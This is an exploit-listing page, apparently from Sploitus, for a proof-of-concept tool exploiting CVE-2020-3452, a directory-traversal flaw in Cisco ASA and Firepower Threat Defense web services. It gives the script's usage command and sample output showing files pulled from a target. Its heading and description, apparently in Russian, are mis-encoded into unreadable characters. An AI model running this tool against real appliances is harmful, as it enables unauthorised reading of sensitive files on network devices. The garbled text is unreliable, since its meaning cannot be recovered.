## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-FUZZLOVE-CISCO-ASA-FTD-WEB-SERVICES-TRAVERSAL
# Π£ΡΠ·Π²ΠΈΠΌΠΎΡΡΡ ΠΎΠ±Ρ
ΠΎΠ΄Π° ΠΏΡΡΠΈ Π²Π΅Π±-ΡΠ΅ΡΠ²ΠΈΡΠΎΠ² Cisco Adaptive Security Appliance ΠΈ Firepower Threat Defense
# CVE-2020-3452
ΠΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π½ΠΈΠ΅: CVE-2020-3452.py https://target
ΠΠΏΠΈΡΠ°Π½ΠΈΠ΅ ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΠΈ: Π£ΡΠ·Π²ΠΈΠΌΠΎΡΡΡ Π² ΠΈΠ½ΡΠ΅ΡΡΠ΅ΠΉΡΠ΅ Π²Π΅Π±-ΡΠ΅ΡΠ²ΠΈΡΠΎΠ² Cisco Adaptive Security Appliance (ASA) ΠΈ Cisco Firepower Threat Defense (FTD) ΠΌΠΎΠΆΠ΅Ρ ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡΡ Π½Π΅Π°ΡΡΠ΅Π½ΡΠΈΡΠΈΡΠΈΡΠΎΠ²Π°Π½Π½ΠΎΠΌΡ ΡΠ΄Π°Π»Π΅Π½Π½ΠΎΠΌΡ Π·Π»ΠΎΡΠΌΡΡΠ»Π΅Π½Π½ΠΈΠΊΡ ΠΏΡΠΎΠ²ΠΎΠ΄ΠΈΡΡ Π°ΡΠ°ΠΊΠΈ ΠΎΠ±Ρ
ΠΎΠ΄Π° ΠΊΠ°ΡΠ°Π»ΠΎΠ³ΠΎΠ² ΠΈ ΡΠΈΡΠ°ΡΡ ΠΊΠΎΠ½ΡΠΈΠ΄Π΅Π½ΡΠΈΠ°Π»ΡΠ½ΡΠ΅ ΡΠ°ΠΉΠ»Ρ Π² ΡΠ΅Π»Π΅Π²ΠΎΠΉ ΡΠΈΡΡΠ΅ΠΌΠ΅.
ΠΡΠΈΠΌΠ΅Ρ Π²ΡΠ²ΠΎΠ΄Π°:
root@kitploit:~
β Cisco-ASA-FTD-Web-Services-Traversal git:(main) β python CVE-2020-3452.py https://target
+-------------------------------------------------------------+
- [ Cisco ASA / FTD Web Services Traversal Vulnerability ]
- -[ CVE-2020-3452 - PoC by: LiquidSky ^_^ ]-
+-------------------------------------------------------------+
[*] Checking potential target : https://target
[+] https://target is vulnerable...
[+] Grabbing logo.gif from the host.
[+] https://target is vulnerable...
[+] Grabbing http_auth.html from the host.
[+] https://target is vulnerable...